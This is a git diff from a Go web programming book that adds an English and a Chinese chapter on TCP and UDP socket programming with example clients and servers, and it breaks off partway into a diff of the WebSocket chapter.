下一节: [WebSocket](<08.2.md>) +# 8.1 Sockets + +Some network application developers say that the lower application layers are all about socket programming. This may not be true for all cases, but many modern web applications do indeed use sockets to their advantage. Have you ever wondered how browsers communicate with web servers when you are surfing the internet? Or How MSN connects you and your friends together in a chatroom, relaying each message in real-time? Many services like these use sockets to transfer data. As you can see, sockets occupy an important position in network programming today, and we're going to learn about using sockets in Go in this section. + +## What is a socket? + +Sockets originate from Unix, and given the basic "everything is a file" philosophy of Unix, everything can be operated on with "open -> write/read -> close". Sockets are one implementation of this philosophy. Sockets have a function call for opening a socket just like you would open a file. This returns an int descriptor of the socket which can then be used for operations like creating connections, transferring data, etc. + +Two types of sockets that are commonly used are stream sockets (SOCK_STREAM) and datagram sockets (SOCK_DGRAM). Stream sockets are connection-oriented like TCP, while datagram sockets do not establish connections, like UDP. + +## Socket communication + +Before we understand how sockets communicate with one another, we need to figure out how to make sure that every socket is unique, otherwise establishing a reliable communication channel is already out of the question. We can give every process a unique PID which serves our purpose locally, however that's not able to work over a network. Fortunately, TCP/IP helps us solve this problem. The IP addresses of the network layer are unique in a network of hosts, and "protocol + port" is also unique among host applications. So, we can use these principles to make sockets which are unique. + +![](images/8.1.socket.png?raw=true) + +Figure 8.1 network protocol layers + +Applications that are based on TCP/IP all use socket APIs in their code in one way or another. Given that networked applications are becoming more and more prevalent in the modern day, it's no wonder some developers are saying that "everything is about sockets". + +## Socket basic knowledge + +We know that sockets have two types, which are TCP sockets and UDP sockets. TCP and UDP are protocols and, as mentioned, we also need an IP address and port number to have a unique socket. + +### IPv4 + +The global internet uses TCP/IP as its protocol, where IP is the network layer and a core part of TCP/IP. IPv4 signifies that its version is 4; infrastructure development to date has spanned over 30 years. + +The number of bits in an IPv4 address is 32, which means that 2^32 devices are able to uniquely connect to the internet. Due to the rapid develop of the internet, IP addresses are already running out of stock in recent years. + +Address format:`127.0.0.1`, `172.122.121.111`. + +### IPv6 + +IPv6 is the next version or next generation of the internet. It's being developed for solving many of the problems inherent with IPv4. Devices using IPv6 have an address that's 128 bits long, so we'll never need to worry about a shortage of unique addresses. To put this into perspective, you could have more than 1000 IP addresses for every square meter on earth with IPv6. Other problems like peer to peer connection, service quality (QoS), security, multiple broadcast, etc., are also be improved. + +Address format: `2002:c0e8:82e7:0:0:0:c0e8:82e7`. + +### IP types in Go + +The `net` package in Go provides many types, functions and methods for network programming. The definition of IP as follows: + + type IP []byte + +Functions `ParseIP(s string) IP` is for converting an IP from the IPv4 format into IPv6: + + package main + import ( + "net" + "os" + "fmt" + ) + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) + os.Exit(1) + } + name := os.Args[1] + addr := net.ParseIP(name) + if addr == nil { + fmt.Println("Invalid address") + } else { + fmt.Println("The address is ", addr.String()) + } + os.Exit(0) + } + +It returns the corresponding IP format for a given IP address. + +## TCP socket + +What can we do when we know how to visit a web service through a network port? As a client, we can send a request to an appointed network port and gets its response; as a server, we need to bind a service to an appointed network port, wait for clients' requests and supply a response. + +In Go's `net` package, there's a type called `TCPConn` that facilitates this kind of clients/servers interaction. This type has two key functions: + + func (c *TCPConn) Write(b []byte) (n int, err os.Error) + func (c *TCPConn) Read(b []byte) (n int, err os.Error) + +`TCPConn` can be used by either client or server for reading and writing data. + +We also need a `TCPAddr` to represent TCP address information: + + type TCPAddr struct { + IP IP + Port int + } + +We use the `ResolveTCPAddr` function to get a `TCPAddr` in Go: + + func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) + +- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively. +- `addr` can be a domain name or IP address, like "www.google.com:80" or "127.0.0.1:22". + +### TCP client + +Go clients use the `DialTCP` function in the `net` package to create a TCP connection, which returns a `TCPConn` object; after a connection is established, the server has the same type of connection object for the current connection, and client and server can begin exchanging data with one another. In general, clients send requests to servers through a `TCPConn` and receive information from the server response; servers read and parse client requests, then return feedback. This connection will remain valid until either the client or server closes it. The function for creating a connection is as follows: + + func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) + +- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively. +- `laddr` represents the local address, set it to `nil` in most cases. +- `raddr` represents the remote address. + +Let's write a simple example to simulate a client requesting a connection to a server based on an HTTP request. We need a simple HTTP request header: + + "HEAD / HTTP/1.0\r\n\r\n" + +Server response information format may look like the following: + + HTTP/1.0 200 OK + ETag: "-9985996" + Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT + Content-Length: 18074 + Connection: close + Date: Sat, 28 Aug 2010 00:43:48 GMT + Server: lighttpd/1.4.23 + +Client code: + + package main + + import ( + "fmt" + "io/ioutil" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + conn, err := net.DialTCP("tcp", nil, tcpAddr) + checkError(err) + _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) + checkError(err) + result, err := ioutil.ReadAll(conn) + checkError(err) + fmt.Println(string(result)) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +In the above example, we use user input as the `service` argument of `net.ResolveTCPAddr` to get a `tcpAddr`. Passing `tcpAddr` to the `DialTCP` function, we create a TCP connection, `conn`. We can then use `conn` to send request information to the server. Finally, we use `ioutil.ReadAll` to read all the content from `conn`, which contains the server response. + +### TCP server + +We have a TCP client now. We can also use the `net` package to write a TCP server. On the server side, we need to bind our service to a specific inactive port and listen for any incoming client requests. + + func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) + func (l *TCPListener) Accept() (c Conn, err os.Error) + +The arguments required here are identical to those required by the `DialTCP` function we used earlier. Let's implement a time syncing service using port 7777: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":7777" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + conn.Close() // we're finished with this client + } + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +After the service is started, it waits for client requests. When it receives a client request, it `Accept`s it and returns a response to the client containing information about the current time. It's worth noting that when errors occur in the `for` loop, the service continues running instead of exiting. Instead of crashing, the server will record the error to a server error log. + +The above code is still not good enough, however. We didn't make use of goroutines, which would have allowed us to accept simultaneous requests. Let's do this now: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + defer conn.Close() + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + // we're finished with this client + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +By separating out our business process from the `handleClient` function, and by using the `go` keyword, we've already implemented concurrency in our service. This is a good demonstration of the power and simplicity of goroutines. + +Some of you may be thinking the following: this server does not do anything meaningful. What if we needed to send multiple requests for different time formats over a single connection? How would we do that? + + package main + + import ( + "fmt" + "net" + "os" + "time" + "strconv" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout + request := make([]byte, 128) // set maxium request length to 128KB to prevent flood based attacks + defer conn.Close() // close connection before exit + for { + read_len, err := conn.Read(request) + + if err != nil { + fmt.Println(err) + break + } + + if read_len == 0 { + break // connection already closed by client + } else if string(request) == "timestamp" { + daytime := strconv.FormatInt(time.Now().Unix(), 10) + conn.Write([]byte(daytime)) + } else { + daytime := time.Now().String() + conn.Write([]byte(daytime)) + } + + request = make([]byte, 128) // clear last read content + } + } + + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +In this example, we use `conn.Read()` to constantly read client requests. We cannot close the connection because clients may issue more than one request. Due to the timeout we set using `conn.SetReadDeadline()`, the connection closes automatically when a client has not sent a request within our allotted time period. When then expiry time has elapsed, our program breaks from the `for` loop. Notice that `request` needs to be created with a max size limitation in order to prevent flood attacks. FInally, we clean the `request` array after processing every request, since `conn.Read()` appends new content to the array instead of rewriting it. + +### Controlling TCP connections + +Controlling TCP functions: + + func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) + +Setting the timeout of connections. These are suitable for use on both clients and servers: + + func (c *TCPConn) SetReadDeadline(t time.Time) error + func (c *TCPConn) SetWriteDeadline(t time.Time) error + +Setting the write/read timeout of one connection: + + func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error + +It's worth taking some time to think about how long you want your connection timeouts to be. Long connections can reduce the amount of overhead involved in creating connections and are good for applications that need to exchange data frequently. + +For more detailed information, just look up the official documentation for Go's `net` package . + +## UDP sockets + +The only difference between a UDP socket and a TCP socket is the processing method for dealing with multiple requests on server side. This arises from the fact that UDP does not have a function like `Accept`. All of the other functions have `UDP` counterparts; just replace `TCP` with `UDP` in the functions mentioned above. + + func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) + func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) + func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) + func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error + func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) + +UDP client code sample: + + package main + + import ( + "fmt" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.DialUDP("udp", nil, udpAddr) + checkError(err) + _, err = conn.Write([]byte("anything")) + checkError(err) + var buf [512]byte + n, err := conn.Read(buf[0:]) + checkError(err) + fmt.Println(string(buf[0:n])) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +UDP server code sample: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.ListenUDP("udp", udpAddr) + checkError(err) + for { + handleClient(conn) + } + } + func handleClient(conn *net.UDPConn) { + var buf [512]byte + _, addr, err := conn.ReadFromUDP(buf[0:]) + if err != nil { + return + } + daytime := time.Now().String() + conn.WriteToUDP([]byte(daytime), addr) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +## Summary + +Through describing and coding some simple programs using TCP and UDP sockets, we can see that Go provides excellent support for socket programming, and that they are fun and easy to use. Go also provides many functions for building high performance socket applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Web services](08.0.md) +- Next section: [WebSocket](08.2.md) diff --git a/en/08.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/08.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..d07fc9d1 --- /dev/null +++ b/en/08.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,397 @@ +# 8.1 Socket编程 +在很多底层网络应用开发者的眼里一切编程都是Socket,话虽然有点夸张,但却也几乎如此了,现在的网络编程几乎都是用Socket来编程。你想过这些情景么?我们每天打开浏览器浏览网页时,浏览器进程怎么和Web服务器进行通信的呢?当你用QQ聊天时,QQ进程怎么和服务器或者是你的好友所在的QQ进程进行通信的呢?当你打开PPstream观看视频时,PPstream进程如何与视频服务器进行通信的呢? 如此种种,都是靠Socket来进行通信的,以一斑窥全豹,可见Socket编程在现代编程中占据了多么重要的地位,这一节我们将介绍Go语言中如何进行Socket编程。 + +## 什么是Socket? +Socket起源于Unix,而Unix基本哲学之一就是“一切皆文件”,都可以用“打开open –> 读写write/read –> 关闭close”模式来操作。Socket就是该模式的一个实现,网络的Socket数据传输是一种特殊的I/O,Socket也是一种文件描述符。Socket也具有一个类似于打开文件的函数调用:Socket(),该函数返回一个整型的Socket描述符,随后的连接建立、数据传输等操作都是通过该Socket实现的。 + +常用的Socket类型有两种:流式Socket(SOCK_STREAM)和数据报式Socket(SOCK_DGRAM)。流式是一种面向连接的Socket,针对于面向连接的TCP服务应用;数据报式Socket是一种无连接的Socket,对应于无连接的UDP服务应用。 +## Socket如何通信 +网络中的进程之间如何通过Socket通信呢?首要解决的问题是如何唯一标识一个进程,否则通信无从谈起!在本地可以通过进程PID来唯一标识一个进程,但是在网络中这是行不通的。其实TCP/IP协议族已经帮我们解决了这个问题,网络层的“ip地址”可以唯一标识网络中的主机,而传输层的“协议+端口”可以唯一标识主机中的应用程序(进程)。这样利用三元组(ip地址,协议,端口)就可以标识网络的进程了,网络中需要互相通信的进程,就可以利用这个标志在他们之间进行交互。请看下面这个TCP/IP协议结构图 + +![](images/8.1.socket.png?raw=true) + +图8.1 七层网络协议图 + +使用TCP/IP协议的应用程序通常采用应用编程接口:UNIX BSD的套接字(socket)和UNIX System V的TLI(已经被淘汰),来实现网络进程之间的通信。就目前而言,几乎所有的应用程序都是采用socket,而现在又是网络时代,网络中进程通信是无处不在,这就是为什么说“一切皆Socket”。 + +## Socket基础知识 +通过上面的介绍我们知道Socket有两种:TCP Socket和UDP Socket,TCP和UDP是协议,而要确定一个进程的需要三元组,需要IP地址和端口。 + +### IPv4地址 +目前的全球因特网所采用的协议族是TCP/IP协议。IP是TCP/IP协议中网络层的协议,是TCP/IP协议族的核心协议。目前主要采用的IP协议的版本号是4(简称为IPv4),发展至今已经使用了30多年。 + +IPv4的地址位数为32位,也就是最多有2的32次方的网络设备可以联到Internet上。近十年来由于互联网的蓬勃发展,IP位址的需求量愈来愈大,使得IP位址的发放愈趋紧张,前一段时间,据报道IPV4的地址已经发放完毕,我们公司目前很多服务器的IP都是一个宝贵的资源。 + +地址格式类似这样:127.0.0.1 172.122.121.111 + +### IPv6地址 +IPv6是下一版本的互联网协议,也可以说是下一代互联网的协议,它是为了解决IPv4在实施过程中遇到的各种问题而被提出的,IPv6采用128位地址长度,几乎可以不受限制地提供地址。按保守方法估算IPv6实际可分配的地址,整个地球的每平方米面积上仍可分配1000多个地址。在IPv6的设计过程中除了一劳永逸地解决了地址短缺问题以外,还考虑了在IPv4中解决不好的其它问题,主要有端到端IP连接、服务质量(QoS)、安全性、多播、移动性、即插即用等。 + +地址格式类似这样:2002:c0e8:82e7:0:0:0:c0e8:82e7 + +### Go支持的IP类型 +在Go的`net`包中定义了很多类型、函数和方法用来网络编程,其中IP的定义如下: + + type IP []byte + +在`net`包中有很多函数来操作IP,但是其中比较有用的也就几个,其中`ParseIP(s string) IP`函数会把一个IPv4或者IPv6的地址转化成IP类型,请看下面的例子: + + package main + import ( + "net" + "os" + "fmt" + ) + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) + os.Exit(1) + } + name := os.Args[1] + addr := net.ParseIP(name) + if addr == nil { + fmt.Println("Invalid address") + } else { + fmt.Println("The address is ", addr.String()) + } + os.Exit(0) + } + +执行之后你就会发现只要你输入一个IP地址就会给出相应的IP格式 + +## TCP Socket +当我们知道如何通过网络端口访问一个服务时,那么我们能够做什么呢?作为客户端来说,我们可以通过向远端某台机器的的某个网络端口发送一个请求,然后得到在机器的此端口上监听的服务反馈的信息。作为服务端,我们需要把服务绑定到某个指定端口,并且在此端口上监听,当有客户端来访问时能够读取信息并且写入反馈信息。 + +在Go语言的`net`包中有一个类型`TCPConn`,这个类型可以用来作为客户端和服务器端交互的通道,他有两个主要的函数: + + func (c *TCPConn) Write(b []byte) (n int, err os.Error) + func (c *TCPConn) Read(b []byte) (n int, err os.Error) + +`TCPConn`可以用在客户端和服务器端来读写数据。 + +还有我们需要知道一个`TCPAddr`类型,他表示一个TCP的地址信息,他的定义如下: + + type TCPAddr struct { + IP IP + Port int + } +在Go语言中通过`ResolveTCPAddr`获取一个`TCPAddr` + + func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) + +- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only),TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个). +- addr表示域名或者IP地址,例如"www.google.com:80" 或者"127.0.0.1:22". + + +### TCP client +Go语言中通过net包中的`DialTCP`函数来建立一个TCP连接,并返回一个`TCPConn`类型的对象,当连接建立时服务器端也创建一个同类型的对象,此时客户端和服务器段通过各自拥有的`TCPConn`对象来进行数据交换。一般而言,客户端通过`TCPConn`对象将请求信息发送到服务器端,读取服务器端响应的信息。服务器端读取并解析来自客户端的请求,并返回应答信息,这个连接只有当任一端关闭了连接之后才失效,不然这连接可以一直在使用。建立连接的函数定义如下: + + func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) + +- net参数是"tcp4"、"tcp6"、"tcp"中的任意一个,分别表示TCP(IPv4-only)、TCP(IPv6-only)或者TCP(IPv4,IPv6的任意一个) +- laddr表示本机地址,一般设置为nil +- raddr表示远程的服务地址 + +接下来我们写一个简单的例子,模拟一个基于HTTP协议的客户端请求去连接一个Web服务端。我们要写一个简单的http请求头,格式类似如下: + + "HEAD / HTTP/1.0\r\n\r\n" + +从服务端接收到的响应信息格式可能如下: + + HTTP/1.0 200 OK + ETag: "-9985996" + Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT + Content-Length: 18074 + Connection: close + Date: Sat, 28 Aug 2010 00:43:48 GMT + Server: lighttpd/1.4.23 + +我们的客户端代码如下所示: + + package main + + import ( + "fmt" + "io/ioutil" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + conn, err := net.DialTCP("tcp", nil, tcpAddr) + checkError(err) + _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) + checkError(err) + result, err := ioutil.ReadAll(conn) + checkError(err) + fmt.Println(string(result)) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +通过上面的代码我们可以看出:首先程序将用户的输入作为参数`service`传入`net.ResolveTCPAddr`获取一个tcpAddr,然后把tcpAddr传入DialTCP后创建了一个TCP连接`conn`,通过`conn`来发送请求信息,最后通过`ioutil.ReadAll`从`conn`中读取全部的文本,也就是服务端响应反馈的信息。 + +### TCP server +上面我们编写了一个TCP的客户端程序,也可以通过net包来创建一个服务器端程序,在服务器端我们需要绑定服务到指定的非激活端口,并监听此端口,当有客户端请求到达的时候可以接收到来自客户端连接的请求。net包中有相应功能的函数,函数定义如下: + + func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) + func (l *TCPListener) Accept() (c Conn, err os.Error) + +参数说明同DialTCP的参数一样。下面我们实现一个简单的时间同步服务,监听7777端口 + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":7777" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + conn.Close() // we're finished with this client + } + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +上面的服务跑起来之后,它将会一直在那里等待,直到有新的客户端请求到达。当有新的客户端请求到达并同意接受`Accept`该请求的时候他会反馈当前的时间信息。值得注意的是,在代码中`for`循环里,当有错误发生时,直接continue而不是退出,是因为在服务器端跑代码的时候,当有错误发生的情况下最好是由服务端记录错误,然后当前连接的客户端直接报错而退出,从而不会影响到当前服务端运行的整个服务。 + +上面的代码有个缺点,执行的时候是单任务的,不能同时接收多个请求,那么该如何改造以使它支持多并发呢?Go里面有一个goroutine机制,请看下面改造后的代码 + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + defer conn.Close() + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + // we're finished with this client + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +通过把业务处理分离到函数`handleClient`,我们就可以进一步地实现多并发执行了。看上去是不是很帅,增加`go`关键词就实现了服务端的多并发,从这个小例子也可以看出goroutine的强大之处。 + +有的朋友可能要问:这个服务端没有处理客户端实际请求的内容。如果我们需要通过从客户端发送不同的请求来获取不同的时间格式,而且需要一个长连接,该怎么做呢?请看: + + package main + + import ( + "fmt" + "net" + "os" + "time" + "strconv" + "strings" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout + request := make([]byte, 128) // set maxium request length to 128B to prevent flood attack + defer conn.Close() // close connection before exit + for { + read_len, err := conn.Read(request) + + if err != nil { + fmt.Println(err) + break + } + + if read_len == 0 { + break // connection already closed by client + } else if strings.TrimSpace(string(request[:read_len])) == "timestamp" { + daytime := strconv.FormatInt(time.Now().Unix(), 10) + conn.Write([]byte(daytime)) + } else { + daytime := time.Now().String() + conn.Write([]byte(daytime)) + } + + request = make([]byte, 128) // clear last read content + } + } + + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +在上面这个例子中,我们使用`conn.Read()`不断读取客户端发来的请求。由于我们需要保持与客户端的长连接,所以不能在读取完一次请求后就关闭连接。由于`conn.SetReadDeadline()`设置了超时,当一定时间内客户端无请求发送,`conn`便会自动关闭,下面的for循环即会因为连接已关闭而跳出。需要注意的是,`request`在创建时需要指定一个最大长度以防止flood attack;每次读取到请求处理完毕后,需要清理request,因为`conn.Read()`会将新读取到的内容append到原内容之后。 + +### 控制TCP连接 +TCP有很多连接控制函数,我们平常用到比较多的有如下几个函数: + + func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) + +设置建立连接的超时时间,客户端和服务器端都适用,当超过设置时间时,连接自动关闭。 + + func (c *TCPConn) SetReadDeadline(t time.Time) error + func (c *TCPConn) SetWriteDeadline(t time.Time) error + +用来设置写入/读取一个连接的超时时间。当超过设置时间时,连接自动关闭。 + + func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error + +设置客户端是否和服务器端保持长连接,可以降低建立TCP连接时的握手开销,对于一些需要频繁交换数据的应用场景比较适用。 + +更多的内容请查看`net`包的文档。 +## UDP Socket +Go语言包中处理UDP Socket和TCP Socket不同的地方就是在服务器端处理多个客户端请求数据包的方式不同,UDP缺少了对客户端连接请求的Accept函数。其他基本几乎一模一样,只有TCP换成了UDP而已。UDP的几个主要函数如下所示: + + func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) + func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) + func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) + func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error) + func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) + +一个UDP的客户端代码如下所示,我们可以看到不同的就是TCP换成了UDP而已: + + package main + + import ( + "fmt" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.DialUDP("udp", nil, udpAddr) + checkError(err) + _, err = conn.Write([]byte("anything")) + checkError(err) + var buf [512]byte + n, err := conn.Read(buf[0:]) + checkError(err) + fmt.Println(string(buf[0:n])) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +我们来看一下UDP服务器端如何来处理: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.ListenUDP("udp", udpAddr) + checkError(err) + for { + handleClient(conn) + } + } + func handleClient(conn *net.UDPConn) { + var buf [512]byte + _, addr, err := conn.ReadFromUDP(buf[0:]) + if err != nil { + return + } + daytime := time.Now().String() + conn.WriteToUDP([]byte(daytime), addr) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +## 总结 +通过对TCP和UDP Socket编程的描述和实现,可见Go已经完备地支持了Socket编程,而且使用起来相当的方便,Go提供了很多函数,通过这些函数可以很容易就编写出高性能的Socket应用。 + + +## links + * [目录]() + * 上一节: [Web服务](<08.0.md>) + * 下一节: [WebSocket](<08.2.md>) diff --git a/en/08.2.md b/en/08.2.md index 6564da1d..57abaed3 100644 --- a/en/08.2.md +++ b/en/08.2.md @@ -1,151 +1,159 @@ -# 8.2 WebSocket -WebSocket是HTML5的重要特性,它实现了基于浏览器的远程socket,它使浏览器和服务器可以进行全双工通信,许多浏览器(Firefox、Google Chrome和Safari)都已对此做了支持。 - -在WebSocket出现之前,为了实现即时通信,采用的技术都是“轮询”,即在特定的时间间隔内,由浏览器对服务器发出HTTP Request,服务器在收到请求后,返回最新的数据给浏览器刷新,“轮询”使得浏览器需要对服务器不断发出请求,这样会占用大量带宽。 - -WebSocket采用了一些特殊的报头,使得浏览器和服务器只需要做一个握手的动作,就可以在浏览器和服务器之间建立一条连接通道。且此连接会保持在活动状态,你可以使用JavaScript来向连接写入或从中接收数据,就像在使用一个常规的TCP Socket一样。它解决了Web实时化的问题,相比传统HTTP有如下好处: - -- 一个Web客户端只建立一个TCP连接 -- Websocket服务端可以推送(push)数据到web客户端. -- 有更加轻量级的头,减少数据传送量 - -WebSocket URL的起始输入是ws://或是wss://(在SSL上)。下图展示了WebSocket的通信过程,一个带有特定报头的HTTP握手被发送到了服务器端,接着在服务器端或是客户端就可以通过JavaScript来使用某种套接口(socket),这一套接口可被用来通过事件句柄异步地接收数据。 - -![](images/8.2.websocket.png?raw=true) - -图8.2 WebSocket原理图 - -## WebSocket原理 -WebSocket的协议颇为简单,在第一次handshake通过以后,连接便建立成功,其后的通讯数据都是以”\x00″开头,以”\xFF”结尾。在客户端,这个是透明的,WebSocket组件会自动将原始数据“掐头去尾”。 - -浏览器发出WebSocket连接请求,然后服务器发出回应,然后连接建立成功,这个过程通常称为“握手” (handshaking)。请看下面的请求和反馈信息: - -![](images/8.2.websocket2.png?raw=true) - -图8.3 WebSocket的request和response信息 - -在请求中的"Sec-WebSocket-Key"是随机的,对于整天跟编码打交到的程序员,一眼就可以看出来:这个是一个经过base64编码后的数据。服务器端接收到这个请求之后需要把这个字符串连接上一个固定的字符串: - - 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 - -即:`f7cb4ezEAl6C3wRaU6JORA==`连接上那一串固定字符串,生成一个这样的字符串: - - f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 - -对该字符串先用 sha1安全散列算法计算出二进制的值,然后用base64对其进行编码,即可以得到握手后的字符串: - - rE91AJhfC+6JdVcVXOGJEADEJdQ= - -将之作为响应头`Sec-WebSocket-Accept`的值反馈给客户端。 - -## Go实现WebSocket -Go语言标准包里面没有提供对WebSocket的支持,但是在由官方维护的go.net子包中有对这个的支持,你可以通过如下的命令获取该包: - - go get code.google.com/p/go.net/websocket - -WebSocket分为客户端和服务端,接下来我们将实现一个简单的例子:用户输入信息,客户端通过WebSocket将信息发送给服务器端,服务器端收到信息之后主动Push信息到客户端,然后客户端将输出其收到的信息,客户端的代码如下: - - - - - -

WebSocket Echo Test

-
-

- Message: -

-
